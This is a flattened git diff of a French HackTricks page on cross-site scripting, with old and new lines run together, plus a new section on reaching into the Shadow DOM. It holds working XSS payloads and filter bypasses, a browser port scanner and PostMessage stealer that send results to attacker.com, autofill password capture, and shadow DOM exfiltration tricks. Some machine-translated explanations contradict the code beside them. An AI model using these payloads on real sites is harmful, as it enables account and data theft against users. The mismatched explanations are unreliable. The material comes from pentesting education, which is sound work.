Lors de l'injection de code malveillant, il est important de tester différentes substitutions d'espaces pour contourner les filtres de sécurité. Il est également recommandé d'utiliser des outils automatisés de test d'injection XSS pour identifier les vulnérabilités et les failles potentielles. Il est important de noter que les substitutions d'espaces ne sont qu'une des nombreuses techniques utilisées pour contourner les filtres de sécurité. Les développeurs et les testeurs d'intrusion doivent être conscients de ces techniques afin de pouvoir les détecter et les prévenir efficacement.
Il convient de noter que l'exploitation de vulnérabilités XSS est illégale sans autorisation préalable. Les techniques décrites ici doivent être utilisées à des fins éducatives et éthiques dans le cadre d'un test de pénétration autorisé.
```javascript ```javascript
<TAB> <TAB>
/**/ /**/
``` ```
**Commentaires JavaScript (à partir de la technique des** [**Commentaires JavaScript**](./#commentaires-javascript) **)** **Commentaires JavaScript (à partir de la** [**technique des commentaires JavaScript**](./#javascript-comments) **)**
```javascript ```javascript
//This is a 1 line comment //This is a 1 line comment
/* This is a multiline comment*/ /* This is a multiline comment*/
@ -731,9 +724,9 @@ Il convient de noter que l'exploitation de vulnérabilités XSS est illégale sa
--- ---
When injecting JavaScript code into a web application, it is important to understand how new lines are handled. In some cases, new lines can be used to bypass input filters and execute malicious code. When injecting JavaScript code into a web application, it is important to understand how new lines are handled. In some cases, new lines can be used to bypass filters and execute malicious code.
Lors de l'injection de code JavaScript dans une application web, il est important de comprendre comment les sauts de ligne sont gérés. Dans certains cas, les sauts de ligne peuvent être utilisés pour contourner les filtres de saisie et exécuter du code malveillant. Lors de l'injection de code JavaScript dans une application web, il est important de comprendre comment les sauts de ligne sont gérés. Dans certains cas, les sauts de ligne peuvent être utilisés pour contourner les filtres et exécuter du code malveillant.
--- ---
@ -748,39 +741,42 @@ alert(name);
</script> </script>
``` ```
In this case, the JavaScript code will execute without any issues. However, if we introduce a new line character, the code will break and an error will occur: In this case, the JavaScript code will execute without any issues. However, if we try to inject a new line character, like this:
Dans ce cas, le code JavaScript s'exécutera sans problème. Cependant, si nous introduisons un caractère de saut de ligne, le code se cassera et une erreur se produira : Dans ce cas, le code JavaScript s'exécutera sans problème. Cependant, si nous essayons d'injecter un caractère de saut de ligne, comme ceci :
```html ```html
<script> <script>
var name = "John"; var name = "John";
alert alert(name);
(name);
</script> </script>
``` ```
To bypass this issue, we can use the JavaScript new line trick. By adding a backslash (`\`) at the end of the line, we can continue the code on the next line: The code will break and produce an error. To bypass this, we can use the following JavaScript trick:
Pour contourner ce problème, nous pouvons utiliser la technique du saut de ligne JavaScript. En ajoutant un antislash (`\`) à la fin de la ligne, nous pouvons continuer le code sur la ligne suivante : Le code se cassera et produira une erreur. Pour contourner cela, nous pouvons utiliser l'astuce JavaScript suivante :
```html ```html
<script> <script>
var name = "John"; var name = "John";\nalert(name);
alert\
(name);
</script> </script>
``` ```
This way, the code will execute successfully, even with the new line character. By adding the escape sequence `\n`, we can inject a new line character without breaking the code. This can be useful when trying to bypass filters that block certain characters or patterns.
De cette façon, le code s'exécutera avec succès, même avec le caractère de saut de ligne. En ajoutant la séquence d'échappement `\n`, nous pouvons injecter un caractère de saut de ligne sans casser le code. Cela peut être utile lorsque vous essayez de contourner des filtres qui bloquent certains caractères ou motifs.
--- ---
It is important to note that this trick may not work in all scenarios, as it depends on how the web application handles new lines. Additionally, it is crucial to use this technique responsibly and only for legitimate purposes, such as penetration testing or security research. It is important to note that different web applications may handle new lines differently. Therefore, it is essential to test the behavior of new lines in the specific application you are targeting.
Il est important de noter que cette astuce peut ne pas fonctionner dans tous les scénarios, car cela dépend de la façon dont l'application web gère les sauts de ligne. De plus, il est crucial d'utiliser cette technique de manière responsable et uniquement à des fins légitimes, telles que les tests de pénétration ou la recherche en sécurité. Il est important de noter que différentes applications web peuvent gérer les sauts de ligne différemment. Il est donc essentiel de tester le comportement des sauts de ligne dans l'application spécifique que vous ciblez.
---
For more information on XSS and other web application vulnerabilities, refer to the [OWASP](https://owasp.org/) website.
Pour plus d'informations sur les XSS et autres vulnérabilités des applications web, consultez le site [OWASP](https://owasp.org/).
```javascript ```javascript
//Javascript interpret as new line these chars: //Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a String.fromCharCode(10); alert('//\nalert(1)') //0x0a
@ -790,15 +786,13 @@ String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
``` ```
**Espaces blancs en JavaScript** **Espaces blancs en JavaScript**
Les espaces blancs en JavaScript se réfèrent aux caractères non imprimables tels que les espaces, les tabulations et les sauts de ligne. Ces espaces blancs sont généralement ignorés par l'interpréteur JavaScript lors de l'exécution du code. Les espaces blancs en JavaScript se réfèrent à tout caractère non visible qui est utilisé pour formater le code et améliorer la lisibilité. Les espaces blancs comprennent les espaces, les tabulations, les sauts de ligne et les commentaires.
Cependant, dans le contexte de la sécurité, les espaces blancs peuvent être utilisés de manière malveillante pour contourner les filtres de sécurité et exécuter du code JavaScript non autorisé. Cette technique est connue sous le nom d'obfuscation de code. Les espaces blancs sont ignorés par l'interpréteur JavaScript, ce qui signifie qu'ils n'affectent pas le fonctionnement du code. Cependant, ils sont importants pour rendre le code plus lisible et faciliter la compréhension.
L'obfuscation de code consiste à ajouter des espaces blancs supplémentaires ou à les réorganiser de manière à rendre le code JavaScript illisible pour les humains, tout en restant exécutable par l'interpréteur JavaScript. Il est recommandé d'utiliser des espaces blancs de manière cohérente dans votre code JavaScript pour améliorer sa lisibilité. Cela peut inclure l'indentation appropriée, l'alignement des éléments et l'utilisation de sauts de ligne pour séparer les blocs de code.
Il est important de noter que l'obfuscation de code n'est pas une technique de piratage en soi, mais plutôt une méthode utilisée par les attaquants pour masquer leur code malveillant et échapper à la détection. En résumé, les espaces blancs en JavaScript sont des caractères non visibles utilisés pour formater le code et améliorer sa lisibilité. Ils sont ignorés par l'interpréteur JavaScript mais jouent un rôle important dans la clarté du code.
Lors de l'audit de sécurité d'une application web, il est essentiel de prendre en compte les espaces blancs et de les analyser attentivement pour détecter toute tentative d'obfuscation de code.
```javascript ```javascript
log=[]; log=[];
function funct(){} function funct(){}
@ -840,7 +834,7 @@ Pour prévenir cette vulnérabilité, assurez-vous de filtrer et d'échapper cor
L'une des techniques couramment utilisées en XSS (Cross-Site Scripting) consiste à exécuter du code JavaScript sans utiliser de parenthèses. Cette technique est souvent utilisée pour contourner les filtres de sécurité et injecter du code malveillant dans une application web. L'une des techniques couramment utilisées en XSS (Cross-Site Scripting) consiste à exécuter du code JavaScript sans utiliser de parenthèses. Cette technique est souvent utilisée pour contourner les filtres de sécurité et injecter du code malveillant dans une application web.
L'idée principale derrière cette technique est d'exploiter les contextes où le code JavaScript peut être exécuté sans l'utilisation de parenthèses. Par exemple, dans certains cas, le code JavaScript peut être exécuté directement dans une balise HTML sans avoir besoin de les entourer de parenthèses. L'idée principale derrière cette technique est d'exploiter les contextes où le code JavaScript peut être exécuté sans l'utilisation de parenthèses. Par exemple, dans les balises HTML telles que `<script>` ou `<img>`, il est possible d'inclure du code JavaScript sans utiliser de parenthèses.
Voici un exemple de code JavaScript sans parenthèses : Voici un exemple de code JavaScript sans parenthèses :
@ -851,9 +845,9 @@ Voici un exemple de code JavaScript sans parenthèses :
</script> </script>
``` ```
Dans cet exemple, le code JavaScript `alert("XSS")` est exécuté directement sans l'utilisation de parenthèses. Cela peut être utilisé pour exécuter du code malveillant sur le navigateur de la victime. Dans cet exemple, la variable `payload` contient le code JavaScript que nous voulons exécuter. En utilisant la fonction `eval()`, nous pouvons exécuter ce code sans utiliser de parenthèses.
Il est important de noter que cette technique peut être détectée et bloquée par des mécanismes de sécurité appropriés, tels que la validation et l'échappement des entrées utilisateur. Cependant, il est toujours essentiel de prendre des mesures pour prévenir les attaques XSS en appliquant des bonnes pratiques de sécurité dans le développement d'applications web. Il est important de noter que l'utilisation de cette technique peut être dangereuse, car elle permet à un attaquant d'exécuter du code arbitraire sur le navigateur de la victime. Par conséquent, il est essentiel de mettre en place des mesures de sécurité appropriées pour prévenir les attaques XSS.
````javascript ````javascript
// By setting location // By setting location
window.location='javascript:alert\x281\x29' window.location='javascript:alert\x281\x29'
@ -1015,8 +1009,8 @@ Vous pouvez vérifier si les **valeurs réfléchies** sont **normalisées en Uni
``` ```
### Contournement de Ruby-On-Rails ### Contournement de Ruby-On-Rails
En raison de la **vulnérabilité d'attribution de masse de RoR**, des guillemets sont insérés dans le HTML, puis la restriction des guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\ En raison de la **vulnérabilité de l'attribution de masse de RoR**, des guillemets sont insérés dans le HTML, puis la restriction des guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
Par exemple, dans ce [rapport](https://hackerone.com/reports/709336), si vous envoyez la charge utile suivante : Par exemple, si vous envoyez la charge utile suivante ([à partir de ce rapport](https://hackerone.com/reports/709336)):
``` ```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
``` ```
@ -1332,7 +1326,7 @@ Pour prévenir les attaques XSS, il est important de mettre en place les mesures
## Exemple de code XSS ## Exemple de code XSS
Voici un exemple de code XSS : Le code suivant est un exemple de code XSS réfléchi :
```javascript ```javascript
<script> <script>
@ -1341,11 +1335,9 @@ Voici un exemple de code XSS :
</script> </script>
``` ```
Ce code injecte un script malveillant qui affiche une alerte sur la page Web. Les attaquants peuvent utiliser des techniques plus avancées pour voler des informations sensibles ou rediriger les utilisateurs vers des sites Web malveillants. Ce code est injecté dans une page Web et s'exécute côté client lorsque la victime consulte la page. Il peut être utilisé pour voler des informations sensibles ou rediriger l'utilisateur vers des sites Web malveillants.
## Conclusion Pour prévenir ce type d'attaque, il est essentiel de valider et filtrer toutes les entrées utilisateur et d'échapper correctement les caractères spéciaux lors de l'affichage des données sur une page Web.
Le XSS est une vulnérabilité dangereuse qui peut compromettre la sécurité des applications Web. Il est essentiel de mettre en place des mesures de prévention appropriées pour protéger les utilisateurs contre les attaques XSS.
```javascript ```javascript
// It's also possible to execute JS code only with the chars: []`+!${} // It's also possible to execute JS code only with the chars: []`+!${}
@ -1399,29 +1391,29 @@ xhr.send(null);
``` ```
### Trouver les adresses IP internes ### Trouver les adresses IP internes
To find internal IPs, you can use various techniques during a penetration test. These techniques involve exploiting vulnerabilities in web applications to gather information about the internal network. To find internal IPs, you can use various techniques during a penetration test. These techniques can help you identify the IP addresses assigned to devices within the target network.
#### 1. Cross-Site Scripting (XSS) #### 1. DNS Enumeration
XSS vulnerabilities can be leveraged to execute malicious scripts on a victim's browser. By injecting a script that sends the victim's internal IP address to an external server, you can obtain the internal IP. Perform DNS enumeration to gather information about the target's internal infrastructure. This can be done using tools like `dnsenum`, `dnsrecon`, or `nslookup`. By querying the DNS server, you may obtain internal IP addresses associated with the target domain.
#### 2. Server-Side Request Forgery (SSRF) #### 2. Network Scanning
SSRF vulnerabilities allow an attacker to make requests from the server to internal resources. By crafting a request to a service that reveals internal IP addresses, you can obtain the internal IPs. Use network scanning tools such as `nmap` or `masscan` to scan the target network for live hosts. By scanning the network, you can identify active devices and their corresponding IP addresses.
#### 3. Error-Based Information Leakage #### 3. Reverse DNS Lookup
Some error messages may inadvertently disclose internal IP addresses. By carefully analyzing error messages, you may find internal IPs exposed. Perform a reverse DNS lookup on the target IP addresses. This can be done using tools like `nslookup` or online services. By performing a reverse DNS lookup, you may obtain information about the internal hostnames associated with the IP addresses.
#### 4. DNS Rebinding #### 4. Banner Grabbing
DNS rebinding attacks can be used to bypass the same-origin policy and access internal resources. By setting up a malicious DNS server, you can trick the victim's browser into making requests to internal IPs. Use banner grabbing techniques to gather information from network services running on the target network. By analyzing the banners, you may find internal IP addresses mentioned in the service responses.
#### 5. Port Scanning #### 5. Social Engineering
Port scanning can be used to identify open ports on a target system. By scanning a target's IP range, you can discover internal IPs that respond to the scan. Engage in social engineering tactics to gather information about the target's internal infrastructure. This can involve contacting employees or using publicly available information to obtain internal IP addresses.
It is important to note that these techniques should only be used in controlled environments with proper authorization. Unauthorized use of these techniques is illegal and unethical. Always ensure you have permission before conducting any penetration testing activities. Remember, it is important to obtain proper authorization and follow legal guidelines when performing any penetration testing activities.
```html ```html
<script> <script>
var q = [] var q = []
@ -1469,17 +1461,27 @@ q.shift()();
``` ```
### Scanner de ports (fetch) ### Scanner de ports (fetch)
The `port-scanner-fetch.js` script is a simple port scanner that uses the `fetch` function in JavaScript to send HTTP requests to a target host and port. It can be used to quickly check if a specific port is open or closed. The `port-scanner-fetch.js` script is a simple port scanner that uses the `fetch` function in JavaScript to send HTTP requests to a target host and port. It can be used to quickly identify open ports on a target system.
To use the script, you need to provide the target host and port as command-line arguments. For example: To use the script, you need to provide the target host and a range of ports to scan. The script will then send HTTP requests to each port in the specified range and check for a response. If a response is received, it means that the port is open.
```shell Here's how you can use the script:
node port-scanner-fetch.js example.com 80
```bash
node port-scanner-fetch.js <target_host> <start_port> <end_port>
``` ```
This will send an HTTP request to `example.com` on port `80` and display the result. If the port is open, the script will print `Port 80 is open`. If the port is closed or the request times out, it will print `Port 80 is closed`. Replace `<target_host>` with the IP address or domain name of the target system. `<start_port>` and `<end_port>` should be replaced with the range of ports you want to scan.
Please note that port scanning can be considered illegal or unethical without proper authorization. Always ensure that you have the necessary permissions before conducting any port scanning activities. For example, to scan ports 1 to 100 on the target system with IP address `192.168.0.1`, you would run the following command:
```bash
node port-scanner-fetch.js 192.168.0.1 1 100
```
The script will then display a list of open ports on the target system.
Note: This script should only be used for legitimate purposes, such as network administration or penetration testing with proper authorization. Unauthorized port scanning is illegal and can result in severe consequences.
```javascript ```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
``` ```
@ -1501,29 +1503,26 @@ Replace `<target_ip>` with the IP address of the server you want to scan. `<star
python port_scanner.py 192.168.0.1 1 100 python port_scanner.py 192.168.0.1 1 100
``` ```
The scanner will display the status of each port it scans, indicating whether it is open or closed. It will also provide a summary of the scan results once it has finished scanning all the ports. The scanner will display the status of each port it scans, indicating whether it is open or closed. It will also provide a summary at the end, showing the total number of open ports found.
#### Example #### Example
Here is an example of using the port scanner to scan ports 1 to 100 on a server with IP address 192.168.0.1:
```
python port_scanner.py 192.168.0.1 1 100
``` ```
$ python port_scanner.py 192.168.0.1 1 100
Output:
```
Scanning ports 1 to 100 on 192.168.0.1... Scanning ports 1 to 100 on 192.168.0.1...
Port 22: Open Port 22: Open
Port 80: Closed Port 80: Closed
Port 443: Open Port 443: Open
Scan completed. Open ports found: 2 Summary:
Total open ports: 2
``` ```
In this example, ports 22 and 443 are open, while port 80 is closed. The scan results indicate that there are 2 open ports on the target server. #### Disclaimer
This port scanner is intended for use in authorized penetration testing or educational purposes only. Any unauthorized use of this tool is strictly prohibited. The author is not responsible for any misuse or damage caused by this tool.
```python ```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234]; var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) { for(var i=0; i<ports.length; i++) {
@ -1548,17 +1547,17 @@ Consultez la liste des ports interdits dans Chrome [**ici**](https://src.chromiu
``` ```
### Capture des mots de passe auto-remplis ### Capture des mots de passe auto-remplis
Lors de tests d'intrusion sur des applications web, il est courant de rechercher des vulnérabilités de type Cross-Site Scripting (XSS). L'une des variantes les plus intéressantes de cette vulnérabilité est l'exploitation des mots de passe auto-remplis. Lors de tests d'intrusion sur des applications web, il est courant d'exploiter des vulnérabilités de type Cross-Site Scripting (XSS) pour capturer les mots de passe auto-remplis. Cette technique permet à un attaquant de récupérer les informations sensibles stockées dans le navigateur de la victime.
Lorsque les utilisateurs enregistrent leurs informations de connexion sur un site web, leur navigateur propose souvent de les sauvegarder pour un remplissage automatique ultérieur. Cela peut être pratique pour les utilisateurs, mais cela peut également représenter une faille de sécurité si le site web est vulnérable à une attaque XSS. L'attaque XSS consiste à injecter du code malveillant dans une application web, qui sera ensuite exécuté par le navigateur de la victime. Lorsque la victime visite une page contenant le code malveillant, celui-ci peut être utilisé pour capturer les mots de passe auto-remplis stockés dans le navigateur.
L'attaque consiste à injecter un script malveillant dans un champ de saisie du site web, qui sera ensuite exécuté lorsque le navigateur remplira automatiquement les informations de connexion. Le script peut être conçu pour capturer les informations de connexion, telles que les noms d'utilisateur et les mots de passe, et les envoyer à un attaquant. Pour exploiter cette vulnérabilité, l'attaquant peut utiliser différentes techniques, telles que l'injection de code JavaScript dans les champs de saisie de formulaire ou l'exploitation de failles de sécurité dans les bibliothèques JavaScript utilisées par l'application.
Pour exploiter cette vulnérabilité, un attaquant doit identifier un point d'injection XSS sur le site web cible. Cela peut être un champ de saisie de formulaire, un champ de commentaire ou tout autre élément interactif qui accepte des entrées utilisateur. Une fois le point d'injection identifié, l'attaquant peut injecter un script malveillant qui sera exécuté lors du remplissage automatique des informations de connexion. Une fois que l'attaquant a réussi à capturer les mots de passe auto-remplis, il peut les utiliser pour accéder aux comptes des victimes ou pour effectuer d'autres attaques plus avancées.
Il est important de noter que cette attaque ne fonctionnera que si le site web est vulnérable à une attaque XSS. Les développeurs doivent mettre en place des mesures de sécurité appropriées pour prévenir les attaques XSS, telles que la validation et l'échappement des entrées utilisateur. Pour se protéger contre cette attaque, il est recommandé de mettre en place des mesures de sécurité telles que la validation et l'échappement des données saisies par les utilisateurs, ainsi que l'utilisation de mécanismes de protection tels que les tokens anti-CSRF.
Pour les testeurs d'intrusion, il est essentiel de vérifier si un site web est vulnérable à cette attaque en effectuant des tests de sécurité approfondis, y compris des tests d'injection XSS. En identifiant et en signalant ces vulnérabilités, les développeurs peuvent prendre les mesures nécessaires pour les corriger et renforcer la sécurité de leurs applications web. Il est également important de sensibiliser les utilisateurs aux risques liés à la saisie de leurs mots de passe sur des sites web non fiables ou potentiellement compromis.
```javascript ```javascript
<b>Username:</><br> <b>Username:</><br>
<input name=username id=username> <input name=username id=username>
@ -1597,29 +1596,15 @@ changeReq.send('csrf='+token+'&email=test@test.com')
``` ```
### Vol de messages PostMessage ### Vol de messages PostMessage
Lors de l'audit d'une application web, il est important de vérifier si des vulnérabilités de type Cross-Site Scripting (XSS) sont présentes. Une variante de cette vulnérabilité est connue sous le nom de vol de messages PostMessage. Lorsque vous effectuez un test d'intrusion sur une application Web, il est important de vérifier si elle est vulnérable aux attaques de type Cross-Site Scripting (XSS). Une variante de cette attaque est le vol de messages PostMessage.
#### Qu'est-ce que PostMessage ? Le vol de messages PostMessage se produit lorsque des scripts malveillants sont injectés dans une application Web et interceptent les messages échangés entre les fenêtres ouvertes dans le navigateur. Ces messages peuvent contenir des informations sensibles telles que des jetons d'authentification ou des données utilisateur.
PostMessage est une méthode JavaScript qui permet à différentes fenêtres ou onglets d'un navigateur de communiquer entre eux. Elle est souvent utilisée pour permettre à une application web d'envoyer des messages à une iframe hébergée sur un autre domaine. Pour exploiter cette vulnérabilité, un attaquant peut utiliser du code JavaScript pour écouter les événements de message et extraire les données qu'il souhaite voler. Il peut également envoyer des messages malveillants à d'autres fenêtres ouvertes dans le navigateur, ce qui peut entraîner des conséquences graves, telles que la divulgation de données confidentielles ou l'exécution de commandes malveillantes.
#### Comment fonctionne le vol de messages PostMessage ? Pour se protéger contre le vol de messages PostMessage, les développeurs doivent mettre en place des mécanismes de sécurité tels que la validation et l'échappement des données avant de les envoyer via PostMessage. Les applications Web doivent également utiliser des stratégies de sécurité appropriées, telles que l'utilisation de l'attribut `sandbox` pour restreindre les fonctionnalités des fenêtres ouvertes.
Lorsqu'une application web utilise PostMessage pour communiquer avec une iframe, il est important de s'assurer que les messages reçus proviennent bien de la source attendue. Dans le cas contraire, un attaquant pourrait exploiter cette vulnérabilité pour voler des informations sensibles. En tant que testeur d'intrusion, il est essentiel de vérifier si une application Web est vulnérable au vol de messages PostMessage. Cela peut être fait en injectant du code JavaScript malveillant et en observant si les messages sont interceptés ou modifiés. Si une vulnérabilité est détectée, il est important de la signaler aux développeurs afin qu'ils puissent prendre les mesures nécessaires pour la corriger.
L'attaque de vol de messages PostMessage consiste à injecter du code malveillant dans une page web vulnérable. Lorsque cette page communique avec une iframe à l'aide de PostMessage, l'attaquant peut intercepter les messages et voler les données qu'ils contiennent.
#### Comment se protéger contre le vol de messages PostMessage ?
Pour se protéger contre le vol de messages PostMessage, il est recommandé de mettre en place les mesures suivantes :
1. Valider l'origine des messages reçus : Avant de traiter un message reçu via PostMessage, vérifiez que l'origine du message correspond bien à celle attendue.
2. Utiliser des méthodes de communication sécurisées : Si possible, utilisez des méthodes de communication sécurisées telles que HTTPS pour réduire les risques d'interception des messages.
3. Éviter d'utiliser des messages sensibles : Évitez d'envoyer des messages contenant des informations sensibles via PostMessage. Si nécessaire, chiffrez les données avant de les envoyer.
En suivant ces bonnes pratiques, vous pouvez réduire les risques de vol de messages PostMessage et renforcer la sécurité de votre application web.
```markup ```markup
<img src="https://attacker.com/?" id=message> <img src="https://attacker.com/?" id=message>
<script> <script>
@ -1627,12 +1612,18 @@ window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data; document.getElementById("message").src += "&"+e.data;
</script> </script>
``` ```
### Abus des travailleurs de service ### Abus des Workers de Service
{% content-ref url="abusing-service-workers.md" %} {% content-ref url="abusing-service-workers.md" %}
[abusing-service-workers.md](abusing-service-workers.md) [abusing-service-workers.md](abusing-service-workers.md)
{% endcontent-ref %} {% endcontent-ref %}
### Accès au Shadow DOM
{% content-ref url="shadow-dom.md" %}
[shadow-dom.md](shadow-dom.md)
{% endcontent-ref %}
### Polyglottes ### Polyglottes
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
@ -1736,7 +1727,7 @@ Si vous ne pouvez pas injecter de balises HTML, il peut être intéressant d'ess
### XSS dans Amp4Email ### XSS dans Amp4Email
AMP est une technologie connue pour développer des pages web ultra-rapides sur les clients mobiles. **AMP est un ensemble de balises HTML soutenues par JavaScript** qui permettent facilement des fonctionnalités avec une attention particulière sur les performances et la sécurité. Il existe des [composants AMP](https://amp.dev/documentation/components/?format=websites) pour tout, des carrousels aux éléments de formulaire réactifs, en passant par la récupération de contenu frais à partir de points d'extrémité distants. AMP est une technologie connue pour développer des pages web ultra-rapides sur les clients mobiles. **AMP est un ensemble de balises HTML soutenues par JavaScript** qui permettent facilement une fonctionnalité avec une attention particulière sur les performances et la sécurité. Il existe des [composants AMP](https://amp.dev/documentation/components/?format=websites) pour tout, des carrousels aux éléments de formulaire réactifs, en passant par la récupération de contenu frais à partir de points d'extrémité distants.
Le format [**AMP pour les e-mails**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) fournit [un sous-ensemble de composants AMP](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md) que vous pouvez utiliser dans les messages électroniques. Les destinataires des e-mails AMP peuvent voir et interagir avec les composants AMP directement dans l'e-mail. Le format [**AMP pour les e-mails**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) fournit [un sous-ensemble de composants AMP](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md) que vous pouvez utiliser dans les messages électroniques. Les destinataires des e-mails AMP peuvent voir et interagir avec les composants AMP directement dans l'e-mail.

79
pentesting-web/xss-cross-site-scripting/shadow-dom.md Normal file
View file

@ -0,0 +1,79 @@
# Shadow DOM
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Informations de base
Shadow DOM fait partie de la suite de fonctionnalités [Web Components](https://developer.mozilla.org/en-US/docs/Web/Web\_Components), qui vise à permettre aux développeurs JS de créer des éléments personnalisés réutilisables avec leur fonctionnalité encapsulée loin du reste du code du site web.
Essentiellement, vous pouvez utiliser le Shadow DOM pour **isoler le HTML et le CSS de votre composant du reste de la page web**. Par exemple, si vous créez des identifiants d'éléments dans un Shadow DOM, ils **ne seront pas en conflit avec les identifiants d'éléments dans le DOM parent**. Tous les sélecteurs CSS que vous utilisez dans votre Shadow DOM s'appliqueront uniquement dans le Shadow DOM et non dans le DOM parent, et tous les sélecteurs que vous utilisez dans le parent ne pénétreront pas dans le Shadow DOM.
```js
// creating a shadow DOM
let $element = document.createElement("div");
$shadowDomRef = $element.attachShadow({ mode: "open" }); // open or closed
```
Normalement, lorsque vous attachez un **shadow DOM "ouvert" à un élément**, vous pouvez obtenir une référence au shadow DOM avec **`$element.shadowRoot`**. Cependant, si le shadow DOM est attaché en mode **"fermé"**, vous **ne pouvez pas obtenir de référence** de cette manière. Même après avoir lu toute la documentation des développeurs que j'ai pu trouver, je ne suis toujours pas tout à fait clair sur le but du mode fermé. [Selon Google](https://developers.google.com/web/fundamentals/web-components/shadowdom):
> Il existe une autre variante de shadow DOM appelée mode "fermé". Lorsque vous créez un arbre de shadow fermé, **le JavaScript externe ne pourra pas accéder au DOM interne de votre composant**. C'est similaire au fonctionnement des éléments natifs tels que `<video>`. JavaScript ne peut pas accéder au shadow DOM de `<video>` car le navigateur l'implémente en utilisant un shadow root en mode fermé.
Cependant, ils précisent également:
> Les shadow roots fermés ne sont pas très utiles. Certains développeurs considéreront le mode fermé comme une **fonctionnalité de sécurité artificielle**. Mais soyons clairs, ce n'est **pas** une fonctionnalité de sécurité.
## Accéder au Shadow DOM
### window.find() et les sélections de texte <a href="#introducing-windowfind-and-text-selections" id="introducing-windowfind-and-text-selections"></a>
La fonction **`window.find("texte_recherché")` pénètre à l'intérieur d'un shadow DOM**. Cette fonction a essentiellement la même fonctionnalité que ctrl-F sur une page web.
Il est possible d'appeler **`document.execCommand("SelectAll")`** pour étendre la sélection autant que possible, puis d'appeler **`window.getSelection()`** pour **retourner le contenu** du texte sélectionné à l'intérieur du shadow DOM.
Dans **firefox**, vous pouvez utiliser `getSelection()` qui renvoie un objet [Selection](https://developer.mozilla.org/en-US/docs/Web/API/Selection), où `anchorElement` est une **référence à un élément dans le shadow DOM**. Ainsi, nous pouvons exfiltrer le contenu du shadow DOM de la manière suivante:
```js
getSelection().anchorNode.parentNode.parentNode.parentNode.innerHTML
```
Mais cela ne fonctionne pas dans Chromium.
### contenteditable ou injection CSS <a href="#contenteditable-or-css-injection" id="contenteditable-or-css-injection"></a>
Une façon dont nous pourrions interagir avec le shadow DOM est si nous avons une **injection HTML ou JS à l'intérieur de celui-ci**. Il existe des situations intéressantes où vous pouvez obtenir une injection dans un shadow DOM où vous ne pourriez pas le faire sur une page normale avec crossorigin.
Un exemple est si vous avez des **éléments avec l'attribut `contenteditable`**. Il s'agit d'un attribut HTML obsolète et peu utilisé qui déclare que le **contenu de cet élément peut être modifié par l'utilisateur**. Nous pouvons utiliser des sélections ainsi que l'API **`document.execCommand`** pour interagir avec un élément contenteditable et obtenir une injection HTML !
```js
find('selection within contenteditable');
document.execCommand('insertHTML',false,'<svg/onload=console.log(this.parentElement.outerHTML)>')
```
Peut-être encore plus intéressant, **`contenteditable`** peut être déclaré sur n'importe quel élément dans chromium en appliquant une propriété CSS obsolète : `-webkit-user-modify:read-write`
Cela nous permet de **élever une injection CSS/style en une injection HTML**, en ajoutant la propriété CSS à un élément, puis en utilisant la commande `insertHTML`.
## CTF
Consultez cette solution où cette technique a été utilisée comme défi CTF : [https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md)
## Références
* [https://blog.ankursundara.com/shadow-dom/](https://blog.ankursundara.com/shadow-dom/)
<details>
